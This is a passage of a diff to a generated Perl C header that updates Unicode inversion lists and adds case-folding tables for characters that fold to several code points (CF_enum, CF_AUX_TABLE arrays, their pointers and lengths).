+	0xA7AC,
+	0xA7AD,
+	0xA7AE,
 	0xA7AF,
 	0xA7B0,
-	0xA7B8,
-	0xA7F7,
-	0xA82C,
-	0xA830,
-	0xA83A,
-	0xA840,
-	0xA878,
-	0xA880,
-	0xA8C6,
-	0xA8CE,
-	0xA8DA,
-	0xA8E0,
-	0xA8FE,
-	0xA900,
-	0xA954,
-	0xA95F,
-	0xA97D,
-	0xA980,
-	0xA9CE,
-	0xA9CF,
-	0xA9DA,
-	0xA9DE,
-	0xA9FF,
-	0xAA00,
-	0xAA37,
-	0xAA40,
-	0xAA4E,
-	0xAA50,
-	0xAA5A,
-	0xAA5C,
-	0xAAC3,
-	0xAADB,
-	0xAAF7,
-	0xAB01,
-	0xAB07,
-	0xAB09,
-	0xAB0F,
-	0xAB11,
-	0xAB17,
-	0xAB20,
-	0xAB27,
-	0xAB28,
-	0xAB2F,
-	0xAB30,
-	0xAB66,
+	0xA7B1,
+	0xA7B2,
+	0xA7B3,
+	0xA7B4,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
 	0xAB70,
-	0xABEE,
-	0xABF0,
-	0xABFA,
-	0xAC00,
-	0xD7A4,
-	0xD7B0,
-	0xD7C7,
-	0xD7CB,
-	0xD7FC,
-	0xD800,
-	0xFA6E,
-	0xFA70,
-	0xFADA,
+	0xABC0,
 	0xFB00,
+	0xFB01,
+	0xFB02,
+	0xFB03,
+	0xFB04,
+	0xFB05,
 	0xFB07,
 	0xFB13,
+	0xFB14,
+	0xFB15,
+	0xFB16,
+	0xFB17,
 	0xFB18,
-	0xFB1D,
-	0xFB37,
-	0xFB38,
-	0xFB3D,
-	0xFB3E,
-	0xFB3F,
-	0xFB40,
-	0xFB42,
-	0xFB43,
-	0xFB45,
-	0xFB46,
-	0xFBC2,
-	0xFBD3,
-	0xFD40,
-	0xFD50,
-	0xFD90,
-	0xFD92,
-	0xFDC8,
-	0xFDF0,
-	0xFDFE,
-	0xFE00,
-	0xFE1A,
-	0xFE20,
-	0xFE53,
-	0xFE54,
-	0xFE67,
-	0xFE68,
-	0xFE6C,
-	0xFE70,
-	0xFE75,
-	0xFE76,
-	0xFEFD,
-	0xFEFF,
-	0xFF00,
-	0xFF01,
-	0xFFBF,
-	0xFFC2,
-	0xFFC8,
-	0xFFCA,
-	0xFFD0,
-	0xFFD2,
-	0xFFD8,
-	0xFFDA,
-	0xFFDD,
-	0xFFE0,
-	0xFFE7,
-	0xFFE8,
-	0xFFEF,
-	0xFFF9,
-	0xFFFE,
-	0x10000,
-	0x1000C,
-	0x1000D,
-	0x10027,
-	0x10028,
-	0x1003B,
-	0x1003C,
-	0x1003E,
-	0x1003F,
-	0x1004E,
-	0x10050,
-	0x1005E,
-	0x10080,
-	0x100FB,
-	0x10100,
-	0x10103,
-	0x10107,
-	0x10134,
-	0x10137,
-	0x1018F,
-	0x10190,
-	0x1019C,
-	0x101A0,
-	0x101A1,
-	0x101D0,
-	0x101FE,
-	0x10280,
-	0x1029D,
-	0x102A0,
-	0x102D1,
-	0x102E0,
-	0x102FC,
-	0x10300,
-	0x10324,
-	0x10330,
-	0x1034B,
-	0x10350,
-	0x1037B,
-	0x10380,
-	0x1039E,
-	0x1039F,
-	0x103C4,
-	0x103C8,
-	0x103D6,
+	0xFF21,
+	0xFF3B,
 	0x10400,
-	0x1049E,
-	0x104A0,
-	0x104AA,
+	0x10428,
 	0x104B0,
 	0x104D4,
-	0x104D8,
-	0x104FC,
-	0x10500,
-	0x10528,
-	0x10530,
-	0x10564,
-	0x1056F,
-	0x10570,
-	0x10600,
-	0x10737,
-	0x10740,
-	0x10756,
-	0x10760,
-	0x10768,
-	0x10800,
-	0x10806,
-	0x10808,
-	0x10809,
-	0x1080A,
-	0x10836,
-	0x10837,
-	0x10839,
-	0x1083C,
-	0x1083D,
-	0x1083F,
-	0x10856,
-	0x10857,
-	0x1089F,
-	0x108A7,
-	0x108B0,
-	0x108E0,
-	0x108F3,
-	0x108F4,
-	0x108F6,
-	0x108FB,
-	0x1091C,
-	0x1091F,
-	0x1093A,
-	0x1093F,
-	0x10940,
-	0x10980,
-	0x109B8,
-	0x109BC,
-	0x109D0,
-	0x109D2,
-	0x10A04,
-	0x10A05,
-	0x10A07,
-	0x10A0C,
-	0x10A14,
-	0x10A15,
-	0x10A18,
-	0x10A19,
-	0x10A34,
-	0x10A38,
-	0x10A3B,
-	0x10A3F,
-	0x10A48,
-	0x10A50,
-	0x10A59,
-	0x10A60,
-	0x10AA0,
-	0x10AC0,
-	0x10AE7,
-	0x10AEB,
-	0x10AF7,
-	0x10B00,
-	0x10B36,
-	0x10B39,
-	0x10B56,
-	0x10B58,
-	0x10B73,
-	0x10B78,
-	0x10B92,
-	0x10B99,
-	0x10B9D,
-	0x10BA9,
-	0x10BB0,
-	0x10C00,
-	0x10C49,
 	0x10C80,
 	0x10CB3,
-	0x10CC0,
-	0x10CF3,
-	0x10CFA,
-	0x10D00,
-	0x10E60,
-	0x10E7F,
-	0x11000,
-	0x1104E,
-	0x11052,
-	0x11070,
-	0x1107F,
-	0x110C2,
-	0x110D0,
-	0x110E9,
-	0x110F0,
-	0x110FA,
-	0x11100,
-	0x11135,
-	0x11136,
-	0x11144,
-	0x11150,
-	0x11177,
-	0x11180,
-	0x111CE,
-	0x111D0,
-	0x111E0,
-	0x111E1,
-	0x111F5,
-	0x11200,
-	0x11212,
-	0x11213,
-	0x1123F,
-	0x11280,
-	0x11287,
-	0x11288,
-	0x11289,
-	0x1128A,
-	0x1128E,
-	0x1128F,
-	0x1129E,
-	0x1129F,
-	0x112AA,
-	0x112B0,
-	0x112EB,
-	0x112F0,
-	0x112FA,
-	0x11300,
-	0x11304,
-	0x11305,
-	0x1130D,
-	0x1130F,
-	0x11311,
-	0x11313,
-	0x11329,
-	0x1132A,
-	0x11331,
-	0x11332,
-	0x11334,
-	0x11335,
-	0x1133A,
-	0x1133C,
-	0x11345,
-	0x11347,
-	0x11349,
-	0x1134B,
-	0x1134E,
-	0x11350,
-	0x11351,
-	0x11357,
-	0x11358,
-	0x1135D,
-	0x11364,
-	0x11366,
-	0x1136D,
-	0x11370,
-	0x11375,
-	0x11400,
-	0x1145A,
-	0x1145B,
-	0x1145C,
-	0x1145D,
-	0x1145E,
-	0x11480,
-	0x114C8,
-	0x114D0,
-	0x114DA,
-	0x11580,
-	0x115B6,
-	0x115B8,
-	0x115DE,
-	0x11600,
-	0x11645,
-	0x11650,
-	0x1165A,
-	0x11660,
-	0x1166D,
-	0x11680,
-	0x116B8,
-	0x116C0,
-	0x116CA,
-	0x11700,
-	0x1171A,
-	0x1171D,
-	0x1172C,
-	0x11730,
-	0x11740,
 	0x118A0,
-	0x118F3,
-	0x118FF,
-	0x11900,
-	0x11AC0,
-	0x11AF9,
-	0x11C00,
-	0x11C09,
-	0x11C0A,
-	0x11C37,
-	0x11C38,
-	0x11C46,
-	0x11C50,
-	0x11C6D,
-	0x11C70,
-	0x11C90,
-	0x11C92,
-	0x11CA8,
-	0x11CA9,
-	0x11CB7,
-	0x12000,
-	0x1239A,
-	0x12400,
-	0x1246F,
-	0x12470,
-	0x12475,
-	0x12480,
-	0x12544,
-	0x13000,
-	0x1342F,
-	0x14400,
-	0x14647,
-	0x16800,
-	0x16A39,
-	0x16A40,
-	0x16A5F,
-	0x16A60,
-	0x16A6A,
-	0x16A6E,
-	0x16A70,
-	0x16AD0,
-	0x16AEE,
-	0x16AF0,
-	0x16AF6,
-	0x16B00,
-	0x16B46,
-	0x16B50,
-	0x16B5A,
-	0x16B5B,
-	0x16B62,
-	0x16B63,
-	0x16B78,
-	0x16B7D,
-	0x16B90,
-	0x16F00,
-	0x16F45,
-	0x16F50,
-	0x16F7F,
-	0x16F8F,
-	0x16FA0,
-	0x16FE0,
-	0x16FE1,
-	0x17000,
-	0x187ED,
-	0x18800,
-	0x18AF3,
-	0x1B000,
-	0x1B002,
-	0x1BC00,
-	0x1BC6B,
-	0x1BC70,
-	0x1BC7D,
-	0x1BC80,
-	0x1BC89,
-	0x1BC90,
-	0x1BC9A,
-	0x1BC9C,
-	0x1BCA4,
-	0x1D000,
-	0x1D0F6,
-	0x1D100,
-	0x1D127,
-	0x1D129,
-	0x1D1E9,
-	0x1D200,
-	0x1D246,
-	0x1D300,
-	0x1D357,
-	0x1D360,
-	0x1D372,
-	0x1D400,
-	0x1D455,
-	0x1D456,
-	0x1D49D,
-	0x1D49E,
-	0x1D4A0,
-	0x1D4A2,
-	0x1D4A3,
-	0x1D4A5,
-	0x1D4A7,
-	0x1D4A9,
-	0x1D4AD,
-	0x1D4AE,
-	0x1D4BA,
-	0x1D4BB,
-	0x1D4BC,
-	0x1D4BD,
-	0x1D4C4,
-	0x1D4C5,
-	0x1D506,
-	0x1D507,
-	0x1D50B,
-	0x1D50D,
-	0x1D515,
-	0x1D516,
-	0x1D51D,
-	0x1D51E,
-	0x1D53A,
-	0x1D53B,
-	0x1D53F,
-	0x1D540,
-	0x1D545,
-	0x1D546,
-	0x1D547,
-	0x1D54A,
-	0x1D551,
-	0x1D552,
-	0x1D6A6,
-	0x1D6A8,
-	0x1D7CC,
-	0x1D7CE,
-	0x1DA8C,
-	0x1DA9B,
-	0x1DAA0,
-	0x1DAA1,
-	0x1DAB0,
-	0x1E000,
-	0x1E007,
-	0x1E008,
-	0x1E019,
-	0x1E01B,
-	0x1E022,
-	0x1E023,
-	0x1E025,
-	0x1E026,
-	0x1E02B,
-	0x1E800,
-	0x1E8C5,
-	0x1E8C7,
-	0x1E8D7,
+	0x118C0,
 	0x1E900,
-	0x1E94B,
-	0x1E950,
-	0x1E95A,
-	0x1E95E,
-	0x1E960,
-	0x1EE00,
-	0x1EE04,
-	0x1EE05,
-	0x1EE20,
-	0x1EE21,
-	0x1EE23,
-	0x1EE24,
-	0x1EE25,
-	0x1EE27,
-	0x1EE28,
-	0x1EE29,
-	0x1EE33,
-	0x1EE34,
-	0x1EE38,
-	0x1EE39,
-	0x1EE3A,
-	0x1EE3B,
-	0x1EE3C,
-	0x1EE42,
-	0x1EE43,
-	0x1EE47,
-	0x1EE48,
-	0x1EE49,
-	0x1EE4A,
-	0x1EE4B,
-	0x1EE4C,
-	0x1EE4D,
-	0x1EE50,
-	0x1EE51,
-	0x1EE53,
-	0x1EE54,
-	0x1EE55,
-	0x1EE57,
-	0x1EE58,
-	0x1EE59,
-	0x1EE5A,
-	0x1EE5B,
-	0x1EE5C,
-	0x1EE5D,
-	0x1EE5E,
-	0x1EE5F,
-	0x1EE60,
-	0x1EE61,
-	0x1EE63,
-	0x1EE64,
-	0x1EE65,
-	0x1EE67,
-	0x1EE6B,
-	0x1EE6C,
-	0x1EE73,
-	0x1EE74,
-	0x1EE78,
-	0x1EE79,
-	0x1EE7D,
-	0x1EE7E,
-	0x1EE7F,
-	0x1EE80,
-	0x1EE8A,
-	0x1EE8B,
-	0x1EE9C,
-	0x1EEA1,
-	0x1EEA4,
-	0x1EEA5,
-	0x1EEAA,
-	0x1EEAB,
-	0x1EEBC,
-	0x1EEF0,
-	0x1EEF2,
-	0x1F000,
-	0x1F02C,
-	0x1F030,
-	0x1F094,
-	0x1F0A0,
-	0x1F0AF,
-	0x1F0B1,
-	0x1F0C0,
-	0x1F0C1,
-	0x1F0D0,
-	0x1F0D1,
-	0x1F0F6,
-	0x1F100,
-	0x1F10D,
-	0x1F110,
-	0x1F12F,
-	0x1F130,
-	0x1F16C,
-	0x1F170,
-	0x1F1AD,
-	0x1F1E6,
-	0x1F203,
-	0x1F210,
-	0x1F23C,
-	0x1F240,
-	0x1F249,
-	0x1F250,
-	0x1F252,
-	0x1F300,
-	0x1F6D3,
-	0x1F6E0,
-	0x1F6ED,
-	0x1F6F0,
-	0x1F6F7,
-	0x1F700,
-	0x1F774,
-	0x1F780,
-	0x1F7D5,
-	0x1F800,
-	0x1F80C,
-	0x1F810,
-	0x1F848,
-	0x1F850,
-	0x1F85A,
-	0x1F860,
-	0x1F888,
-	0x1F890,
-	0x1F8AE,
-	0x1F910,
-	0x1F91F,
-	0x1F920,
-	0x1F928,
-	0x1F930,
-	0x1F931,
-	0x1F933,
-	0x1F93F,
-	0x1F940,
-	0x1F94C,
-	0x1F950,
-	0x1F95F,
-	0x1F980,
-	0x1F992,
-	0x1F9C0,
-	0x1F9C1,
-	0x20000,
-	0x2A6D7,
-	0x2A700,
-	0x2B735,
-	0x2B740,
-	0x2B81E,
-	0x2B820,
-	0x2CEA2,
-	0x2F800,
-	0x2FA1E,
-	0xE0001,
-	0xE0002,
-	0xE0020,
-	0xE0080,
-	0xE0100,
-	0xE01F0,
-	0xF0000,
-	0xFFFFE,
-	0x100000,
-	0x10FFFE
+	0x1E922
 };
 
-static const UV Cased_invlist[] = { /* for ASCII/Latin1 */
-	271,	/* Number of elements */
+#   endif	/* ASCII/Latin1 */
+
+#endif	/* defined(PERL_IN_UTF8_C) */
+
+#if defined(PERL_IN_UTF8_C)
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+/* Negative enum values indicate the need to use an auxiliary table
+ * consisting of the list of enums this one expands to.  The absolute
+ * values of the negative enums are indices into a table of the auxiliary
+ * tables' addresses */
+typedef enum {
+	CF_0 = 0,
+	CF_use_AUX_TABLE_1 = -1,
+	CF_use_AUX_TABLE_2 = -2,
+	CF_use_AUX_TABLE_3 = -3,
+	CF_use_AUX_TABLE_4 = -4,
+	CF_use_AUX_TABLE_5 = -5,
+	CF_use_AUX_TABLE_6 = -6,
+	CF_use_AUX_TABLE_7 = -7,
+	CF_use_AUX_TABLE_8 = -8,
+	CF_use_AUX_TABLE_9 = -9,
+	CF_use_AUX_TABLE_10 = -10,
+	CF_use_AUX_TABLE_11 = -11,
+	CF_use_AUX_TABLE_12 = -12,
+	CF_use_AUX_TABLE_13 = -13,
+	CF_use_AUX_TABLE_14 = -14,
+	CF_use_AUX_TABLE_15 = -15,
+	CF_use_AUX_TABLE_16 = -16,
+	CF_use_AUX_TABLE_17 = -17,
+	CF_use_AUX_TABLE_18 = -18,
+	CF_use_AUX_TABLE_19 = -19,
+	CF_use_AUX_TABLE_20 = -20,
+	CF_use_AUX_TABLE_21 = -21,
+	CF_use_AUX_TABLE_22 = -22,
+	CF_use_AUX_TABLE_23 = -23,
+	CF_use_AUX_TABLE_24 = -24,
+	CF_use_AUX_TABLE_25 = -25,
+	CF_use_AUX_TABLE_26 = -26,
+	CF_use_AUX_TABLE_27 = -27,
+	CF_use_AUX_TABLE_28 = -28,
+	CF_use_AUX_TABLE_29 = -29,
+	CF_use_AUX_TABLE_30 = -30,
+	CF_use_AUX_TABLE_31 = -31,
+	CF_use_AUX_TABLE_32 = -32,
+	CF_use_AUX_TABLE_33 = -33,
+	CF_use_AUX_TABLE_34 = -34,
+	CF_use_AUX_TABLE_35 = -35,
+	CF_use_AUX_TABLE_36 = -36,
+	CF_use_AUX_TABLE_37 = -37,
+	CF_use_AUX_TABLE_38 = -38,
+	CF_use_AUX_TABLE_39 = -39,
+	CF_use_AUX_TABLE_40 = -40,
+	CF_use_AUX_TABLE_41 = -41,
+	CF_use_AUX_TABLE_42 = -42,
+	CF_use_AUX_TABLE_43 = -43,
+	CF_use_AUX_TABLE_44 = -44,
+	CF_use_AUX_TABLE_45 = -45,
+	CF_use_AUX_TABLE_46 = -46,
+	CF_use_AUX_TABLE_47 = -47,
+	CF_use_AUX_TABLE_48 = -48,
+	CF_use_AUX_TABLE_49 = -49,
+	CF_use_AUX_TABLE_50 = -50,
+	CF_use_AUX_TABLE_51 = -51,
+	CF_use_AUX_TABLE_52 = -52,
+	CF_use_AUX_TABLE_53 = -53,
+	CF_use_AUX_TABLE_54 = -54,
+	CF_use_AUX_TABLE_55 = -55,
+	CF_use_AUX_TABLE_56 = -56,
+	CF_use_AUX_TABLE_57 = -57,
+	CF_use_AUX_TABLE_58 = -58,
+	CF_use_AUX_TABLE_59 = -59,
+	CF_use_AUX_TABLE_60 = -60,
+	CF_use_AUX_TABLE_61 = -61,
+	CF_use_AUX_TABLE_62 = -62,
+	CF_use_AUX_TABLE_63 = -63,
+	CF_use_AUX_TABLE_64 = -64,
+	CF_use_AUX_TABLE_65 = -65,
+	CF_use_AUX_TABLE_66 = -66,
+	CF_use_AUX_TABLE_67 = -67,
+	CF_use_AUX_TABLE_68 = -68,
+	CF_use_AUX_TABLE_69 = -69,
+	CF_use_AUX_TABLE_70 = -70,
+	CF_use_AUX_TABLE_71 = -71,
+	CF_use_AUX_TABLE_72 = -72,
+	CF_use_AUX_TABLE_73 = -73
+} CF_enum;
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+#define HAS_CF_AUX_TABLES
+
+static const unsigned int CF_AUX_TABLE_1[] = {
+	0x73,
+	0x73
+};
+
+static const unsigned int CF_AUX_TABLE_2[] = {
+	0x69,
+	0x307
+};
+
+static const unsigned int CF_AUX_TABLE_3[] = {
+	0x2BC,
+	0x6E
+};
+
+static const unsigned int CF_AUX_TABLE_4[] = {
+	0x6A,
+	0x30C
+};
+
+static const unsigned int CF_AUX_TABLE_5[] = {
+	0x3B9,
+	0x308,
+	0x301
+};
+
+static const unsigned int CF_AUX_TABLE_6[] = {
+	0x3C5,
+	0x308,
+	0x301
+};
+
+static const unsigned int CF_AUX_TABLE_7[] = {
+	0x565,
+	0x582
+};
+
+static const unsigned int CF_AUX_TABLE_8[] = {
+	0x68,
+	0x331
+};
+
+static const unsigned int CF_AUX_TABLE_9[] = {
+	0x74,
+	0x308
+};
+
+static const unsigned int CF_AUX_TABLE_10[] = {
+	0x77,
+	0x30A
+};
+
+static const unsigned int CF_AUX_TABLE_11[] = {
+	0x79,
+	0x30A
+};
+
+static const unsigned int CF_AUX_TABLE_12[] = {
+	0x61,
+	0x2BE
+};
+
+static const unsigned int CF_AUX_TABLE_13[] = {
+	0x3C5,
+	0x313
+};
+
+static const unsigned int CF_AUX_TABLE_14[] = {
+	0x3C5,
+	0x313,
+	0x300
+};
+
+static const unsigned int CF_AUX_TABLE_15[] = {
+	0x3C5,
+	0x313,
+	0x301
+};
+
+static const unsigned int CF_AUX_TABLE_16[] = {
+	0x3C5,
+	0x313,
+	0x342
+};
+
+static const unsigned int CF_AUX_TABLE_17[] = {
+	0x1F00,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_18[] = {
+	0x1F01,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_19[] = {
+	0x1F02,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_20[] = {
+	0x1F03,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_21[] = {
+	0x1F04,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_22[] = {
+	0x1F05,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_23[] = {
+	0x1F06,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_24[] = {
+	0x1F07,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_25[] = {
+	0x1F20,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_26[] = {
+	0x1F21,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_27[] = {
+	0x1F22,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_28[] = {
+	0x1F23,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_29[] = {
+	0x1F24,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_30[] = {
+	0x1F25,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_31[] = {
+	0x1F26,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_32[] = {
+	0x1F27,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_33[] = {
+	0x1F60,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_34[] = {
+	0x1F61,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_35[] = {
+	0x1F62,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_36[] = {
+	0x1F63,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_37[] = {
+	0x1F64,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_38[] = {
+	0x1F65,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_39[] = {
+	0x1F66,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_40[] = {
+	0x1F67,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_41[] = {
+	0x1F70,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_42[] = {
+	0x3B1,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_43[] = {
+	0x3AC,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_44[] = {
+	0x3B1,
+	0x342
+};
+
+static const unsigned int CF_AUX_TABLE_45[] = {
+	0x3B1,
+	0x342,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_46[] = {
+	0x1F74,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_47[] = {
+	0x3B7,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_48[] = {
+	0x3AE,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_49[] = {
+	0x3B7,
+	0x342
+};
+
+static const unsigned int CF_AUX_TABLE_50[] = {
+	0x3B7,
+	0x342,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_51[] = {
+	0x3B9,
+	0x308,
+	0x300
+};
+
+static const unsigned int CF_AUX_TABLE_52[] = {
+	0x3B9,
+	0x342
+};
+
+static const unsigned int CF_AUX_TABLE_53[] = {
+	0x3B9,
+	0x308,
+	0x342
+};
+
+static const unsigned int CF_AUX_TABLE_54[] = {
+	0x3C5,
+	0x308,
+	0x300
+};
+
+static const unsigned int CF_AUX_TABLE_55[] = {
+	0x3C1,
+	0x313
+};
+
+static const unsigned int CF_AUX_TABLE_56[] = {
+	0x3C5,
+	0x342
+};
+
+static const unsigned int CF_AUX_TABLE_57[] = {
+	0x3C5,
+	0x308,
+	0x342
+};
+
+static const unsigned int CF_AUX_TABLE_58[] = {
+	0x1F7C,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_59[] = {
+	0x3C9,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_60[] = {
+	0x3CE,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_61[] = {
+	0x3C9,
+	0x342
+};
+
+static const unsigned int CF_AUX_TABLE_62[] = {
+	0x3C9,
+	0x342,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_63[] = {
+	0x66,
+	0x66
+};
+
+static const unsigned int CF_AUX_TABLE_64[] = {
+	0x66,
+	0x69
+};
+
+static const unsigned int CF_AUX_TABLE_65[] = {
+	0x66,
+	0x6C
+};
+
+static const unsigned int CF_AUX_TABLE_66[] = {
+	0x66,
+	0x66,
+	0x69
+};
+
+static const unsigned int CF_AUX_TABLE_67[] = {
+	0x66,
+	0x66,
+	0x6C
+};
+
+static const unsigned int CF_AUX_TABLE_68[] = {
+	0x73,
+	0x74
+};
+
+static const unsigned int CF_AUX_TABLE_69[] = {
+	0x574,
+	0x576
+};
+
+static const unsigned int CF_AUX_TABLE_70[] = {
+	0x574,
+	0x565
+};
+
+static const unsigned int CF_AUX_TABLE_71[] = {
+	0x574,
+	0x56B
+};
+
+static const unsigned int CF_AUX_TABLE_72[] = {
+	0x57E,
+	0x576
+};
+
+static const unsigned int CF_AUX_TABLE_73[] = {
+	0x574,
+	0x56D
+};
+
+static const unsigned int * const CF_AUX_TABLE_ptrs[] = {
+	NULL,	/* Placeholder */
+	CF_AUX_TABLE_1,
+	CF_AUX_TABLE_2,
+	CF_AUX_TABLE_3,
+	CF_AUX_TABLE_4,
+	CF_AUX_TABLE_5,
+	CF_AUX_TABLE_6,
+	CF_AUX_TABLE_7,
+	CF_AUX_TABLE_8,
+	CF_AUX_TABLE_9,
+	CF_AUX_TABLE_10,
+	CF_AUX_TABLE_11,
+	CF_AUX_TABLE_12,
+	CF_AUX_TABLE_13,
+	CF_AUX_TABLE_14,
+	CF_AUX_TABLE_15,
+	CF_AUX_TABLE_16,
+	CF_AUX_TABLE_17,
+	CF_AUX_TABLE_18,
+	CF_AUX_TABLE_19,
+	CF_AUX_TABLE_20,
+	CF_AUX_TABLE_21,
+	CF_AUX_TABLE_22,
+	CF_AUX_TABLE_23,
+	CF_AUX_TABLE_24,
+	CF_AUX_TABLE_25,
+	CF_AUX_TABLE_26,
+	CF_AUX_TABLE_27,
+	CF_AUX_TABLE_28,
+	CF_AUX_TABLE_29,
+	CF_AUX_TABLE_30,
+	CF_AUX_TABLE_31,
+	CF_AUX_TABLE_32,
+	CF_AUX_TABLE_33,
+	CF_AUX_TABLE_34,
+	CF_AUX_TABLE_35,
+	CF_AUX_TABLE_36,
+	CF_AUX_TABLE_37,
+	CF_AUX_TABLE_38,
+	CF_AUX_TABLE_39,
+	CF_AUX_TABLE_40,
+	CF_AUX_TABLE_41,
+	CF_AUX_TABLE_42,
+	CF_AUX_TABLE_43,
+	CF_AUX_TABLE_44,
+	CF_AUX_TABLE_45,
+	CF_AUX_TABLE_46,
+	CF_AUX_TABLE_47,
+	CF_AUX_TABLE_48,
+	CF_AUX_TABLE_49,
+	CF_AUX_TABLE_50,
+	CF_AUX_TABLE_51,
+	CF_AUX_TABLE_52,
+	CF_AUX_TABLE_53,
+	CF_AUX_TABLE_54,
+	CF_AUX_TABLE_55,
+	CF_AUX_TABLE_56,
+	CF_AUX_TABLE_57,
+	CF_AUX_TABLE_58,
+	CF_AUX_TABLE_59,
+	CF_AUX_TABLE_60,
+	CF_AUX_TABLE_61,
+	CF_AUX_TABLE_62,
+	CF_AUX_TABLE_63,
+	CF_AUX_TABLE_64,
+	CF_AUX_TABLE_65,
+	CF_AUX_TABLE_66,
+	CF_AUX_TABLE_67,
+	CF_AUX_TABLE_68,
+	CF_AUX_TABLE_69,
+	CF_AUX_TABLE_70,
+	CF_AUX_TABLE_71,
+	CF_AUX_TABLE_72,
+	CF_AUX_TABLE_73
+};
+
+/* Parallel table to the above, giving the number of elements in each table
+ * pointed to */
+static const U8 CF_AUX_TABLE_lengths[] = {
+	0,	/* Placeholder */
+	2	/* CF_AUX_TABLE_1 */,
+	2	/* CF_AUX_TABLE_2 */,
+	2	/* CF_AUX_TABLE_3 */,
+	2	/* CF_AUX_TABLE_4 */,
+	3	/* CF_AUX_TABLE_5 */,
+	3	/* CF_AUX_TABLE_6 */,
+	2	/* CF_AUX_TABLE_7 */,
+	2	/* CF_AUX_TABLE_8 */,
+	2	/* CF_AUX_TABLE_9 */,
+	2	/* CF_AUX_TABLE_10 */,
+	2	/* CF_AUX_TABLE_11 */,
+	2	/* CF_AUX_TABLE_12 */,
+	2	/* CF_AUX_TABLE_13 */,
+	3	/* CF_AUX_TABLE_14 */,
+	3	/* CF_AUX_TABLE_15 */,
+	3	/* CF_AUX_TABLE_16 */,
+	2	/* CF_AUX_TABLE_17 */,
+	2	/* CF_AUX_TABLE_18 */,
+	2	/* CF_AUX_TABLE_19 */,
+	2	/* CF_AUX_TABLE_20 */,
+	2	/* CF_AUX_TABLE_21 */,
+	2	/* CF_AUX_TABLE_22 */,
+	2	/* CF_AUX_TABLE_23 */,
+	2	/* CF_AUX_TABLE_24 */,
+	2	/* CF_AUX_TABLE_25 */,
+	2	/* CF_AUX_TABLE_26 */,
+	2	/* CF_AUX_TABLE_27 */,
+	2	/* CF_AUX_TABLE_28 */,
+	2	/* CF_AUX_TABLE_29 */,
+	2	/* CF_AUX_TABLE_30 */,
+	2	/* CF_AUX_TABLE_31 */,
+	2	/* CF_AUX_TABLE_32 */,
+	2	/* CF_AUX_TABLE_33 */,
+	2	/* CF_AUX_TABLE_34 */,
+	2	/* CF_AUX_TABLE_35 */,
+	2	/* CF_AUX_TABLE_36 */,
+	2	/* CF_AUX_TABLE_37 */,
+	2	/* CF_AUX_TABLE_38 */,
+	2	/* CF_AUX_TABLE_39 */,
+	2	/* CF_AUX_TABLE_40 */,
+	2	/* CF_AUX_TABLE_41 */,
+	2	/* CF_AUX_TABLE_42 */,
+	2	/* CF_AUX_TABLE_43 */,
+	2	/* CF_AUX_TABLE_44 */,
+	3	/* CF_AUX_TABLE_45 */,
+	2	/* CF_AUX_TABLE_46 */,
+	2	/* CF_AUX_TABLE_47 */,
+	2	/* CF_AUX_TABLE_48 */,
+	2	/* CF_AUX_TABLE_49 */,
+	3	/* CF_AUX_TABLE_50 */,
+	3	/* CF_AUX_TABLE_51 */,
+	2	/* CF_AUX_TABLE_52 */,
+	3	/* CF_AUX_TABLE_53 */,
+	3	/* CF_AUX_TABLE_54 */,
+	2	/* CF_AUX_TABLE_55 */,
+	2	/* CF_AUX_TABLE_56 */,
+	3	/* CF_AUX_TABLE_57 */,
+	2	/* CF_AUX_TABLE_58 */,
+	2	/* CF_AUX_TABLE_59 */,
+	2	/* CF_AUX_TABLE_60 */,
+	2	/* CF_AUX_TABLE_61 */,
+	3	/* CF_AUX_TABLE_62 */,
+	2	/* CF_AUX_TABLE_63 */,
+	2	/* CF_AUX_TABLE_64 */,
+	2	/* CF_AUX_TABLE_65 */,
+	3	/* CF_AUX_TABLE_66 */,
+	3	/* CF_AUX_TABLE_67 */,
+	2	/* CF_AUX_TABLE_68 */,
+	2	/* CF_AUX_TABLE_69 */,
+	2	/* CF_AUX_TABLE_70 */,
+	2	/* CF_AUX_TABLE_71 */,
+	2	/* CF_AUX_TABLE_72 */,
+	2	/* CF_AUX_TABLE_73 */
+};
+
